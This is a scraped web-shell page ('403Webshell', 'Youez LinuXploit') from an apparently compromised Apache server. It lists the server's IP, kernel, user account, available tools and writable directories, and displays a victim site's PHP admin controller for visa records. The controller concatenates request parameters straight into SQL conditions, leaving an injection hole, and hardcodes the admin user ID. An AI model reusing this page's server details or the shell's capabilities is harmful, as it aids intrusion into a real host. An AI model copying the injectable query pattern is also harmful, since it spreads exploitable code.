403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/admin/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/admin/controllers/VisaController.php
<?php
/**
 * Class Visa
 *
 * @name		Visa
 * @author		sibo(sabir)
 * @version 	1.0
 * @copyright 	Catabatic India Pvt Ltd
 * Handle Hotel Related function
 *
*/

class Admin_VisaController extends Catabatic_ValidateAdmin
{   
    private $intLoggedinUserId = '';
    
    const ADMIN_ID = 1;
    
    private $intLoggedinUserGroupSysId = '0';
    
    private $intLoggedinUserAgencySysId = '0';
    
    private $intLoggedinUserTrxCurrency = '0';
    
    public $baseUrl = '';
    
    /* Tripsbank Staff */
    public $InfoSourceSysId = '0';
    
    public function init() {
        parent::init();
        $request = Zend_Controller_Front::getInstance()->getRequest();
        $this->baseUrl = $request->getScheme() . '://' . $request->getHttpHost();
        
        
        $this->view->headScript()->appendFile($this->baseUrl . '/public/js/hotel/hotel.js');
        $this->view->headScript()->appendFile($this->baseUrl . '/public/assets/js/jquery-ui.js');
        $this->view->headLink()->appendStylesheet($this->baseUrl.'/public/assets/css/autosuggest-jquery-ui.css');
        
        
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $sessionLogin_user->lock();
        
        #get session variable
        $this->SupplierTypeSysId = 4;
        $this->intLoggedinUserRole          = $sessionLogin_user->UserRole;
        $this->intLoggedinUserId            = 1;
        $this->intLoggedinUserGroupSysId    = $sessionLogin_user->intLoggedinUserGroupSysId;
        $this->intLoggedinUserAgencySysId   = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->intLoggedinUserTrxCurrency   = $sessionLogin_user->intLoggedinUserTrxCurrency;
         
        if(!empty($this->intLoggedinUserAgencySysId)) {
            $this->InfoSourceSysId = '2'; /* Information Source is Agent */
        }
        
        // unlocking read-only lock
        if ($sessionLogin_user->isLocked()) {
            $sessionLogin_user->unLock();
        }
        
       
    }
    
    public function indexAction()
    {
        $this->view->intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $ICSourceSysId = $this->InfoSourceSysId;
        $objHotel = new Travel_Model_TblHotel();
        $objAgency = new Travel_Model_TblAgency();
        $objVisa = new Travel_Model_TblVisa();
        $agencyDetails = $objAgency->getAgencyUserList($this->intLoggedinUserAgencySysId);
        $this->view->agencyDetails = $agencyDetails;
        //echo "<pre>"; print_r($agencyDetails); die;
        
        //Get City List
        $cityList = $objHotel->getInventoryCityList($this->intLoggedinUserAgencySysId);
        $this->view->cityList = $cityList;
        $VisaRatesList = $objVisa->VisaRatesList($ICSourceSysId);
        //echo "<pre>"; print_r($VisaRatesList); die;
        $this->view->visaRatesList = $VisaRatesList;
        //For display message
        $page = $this->_getParam('page', 1);
        $paginator = Zend_Paginator::factory($VisaRatesList);
        $paginator->setItemCountPerPage(25);
        $paginator->setCurrentPageNumber($page);
        $this->view->paginator = $paginator;
        
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }
    
    public function addVisaAction(){
        $objCountry = new Travel_Model_TblCountry();
        $objVisa = new Travel_Model_TblVisa();
        $ICSourceSysId = $this->InfoSourceSysId;
        $this->view->arrCountryList = $objCountry->getCountryList();
        $params = Zend_Controller_Front::getInstance()->getRequest()->getParams();
        if($this->getRequest()->isPost()) {
            $request = Zend_Controller_Front::getInstance()->getRequest();
            $post = $request->getPost();
            if(isset($post['selectNationality']) && $post['selectNationality'] == '0'){
                $response = array('success' => false, 'message' => 'Please select nationality');
                echo json_encode($response);
                exit;
            }
            if(!isset($post['countries_covered']) || count($post['countries_covered']) < 0){
                $response = array('success' => false, 'message' => 'Please select at least one country covered');
                echo json_encode($response);
                exit;
            }
            
            $result = $objVisa->addVisa($ICSourceSysId);
            if(!empty($result) && $result>0){
                $response = array('success' => true, 'message' => 'Save successfully');
                echo json_encode($response);
                exit;
            }else{
                $response = array('success' => false, 'message' => 'Unable to  save visa. try again');
                echo json_encode($response);
                exit;
            }            
        }
        if(isset($params['id']) && !empty($params['id'] )){
            $VisaDetails = $objVisa->VisaDetails($params['id'],$ICSourceSysId);
            $this->view->VisaDetails = $VisaDetails;
            $this->view->visa_id = $params['id'];
        }
        
    }
    
    public function deletevisaratesAction(){
        $this->_helper->layout->disableLayout();
        if ($this->_request->isXmlHttpRequest()) {
            $objVisa   = new Travel_Model_TblVisa();
            $result         = $objVisa->DeleteVisa();
            if($result){
                $response = array('success' => true, 'message' => 'Delete successfully');
                echo json_encode($response);
                exit;
            }else{
                $response = array('success' => false, 'message' => 'Unable to  remove. try again');
                echo json_encode($response);
                exit;
            }
        }
    }
    
    /**
     * Approve Visa. 
     */
    public function approvedAction()
    {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        
        $objVisa   = new Travel_Model_TblVisa();
        $VisaRatesSysId = $this->getRequest()->getParam('id');
        $VisaSysId = $this->getRequest()->getParam('visa');
        $app = $this->getRequest()->getParam('app');
        $approveDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
        if($this->intLoggedinUserRole!=1)
        {
            $intLoggedinUserId = $this->intLoggedinUserAgencySysId;
        } else {
            $intLoggedinUserId = "";
        }
        $ApproveBy = Travel_Model_AdminAuth::getIdentity()->UserSysId;
        if($app == 'true'){
            $updateArr = array('ApproveDate' =>$approveDate, 'ApproveBy' =>$ApproveBy, 'IsApproved' =>'1');
        }else{
            $updateArr = array('ApproveDate' =>$approveDate, 'ApproveBy' =>$ApproveBy, 'IsApproved' =>'0');
        }
        

        $isApprove = $objVisa->setApproveDisapprove("VisaSysId=$VisaRatesSysId", "TB_IC_Visa", $updateArr);
        if($app == 'true'){
            $message    = $isApprove ? "Visa approved successfully." : "Visa approved failed.";
        }else{
            $message    = $isApprove ? "Visa disapproved successfully." : "Visa approved failed.";
        }                
        
        $this->_helper->flashMessenger->addMessage($message);
        if(@$isApprove)
        {
            $this->_helper->redirector('', 'visa', 'admin'); 
        }
    }
    
    /**
     * Activate Hotel Action. 
     */
    public function activateAction()
    {
        $this->tableName = 'TB_IC_VisaRates';
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
                
        $objVisa   = new Travel_Model_TblVisa();
        $VisaRatesSysId = $this->getRequest()->getParam('id'); 
        $app = $this->getRequest()->getParam('app');
        if($app == 'true'){
            $updateArr = array('IsActive' =>'1');
        }else{
            $updateArr = array('IsActive' =>'0');
        }
        $isActive   = $objVisa->setActiveDeactive("VisaSysId=$VisaRatesSysId", "TB_IC_Visa", $updateArr);          
        $message    = @$isActive ? "Visa activated successfully." : "Visa activation failed.";                
        
        $this->_helper->flashMessenger->addMessage($message);
        
        if(@$isActive)
        {
            $this->_helper->redirector('', 'visa', 'admin');
        }
    }
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit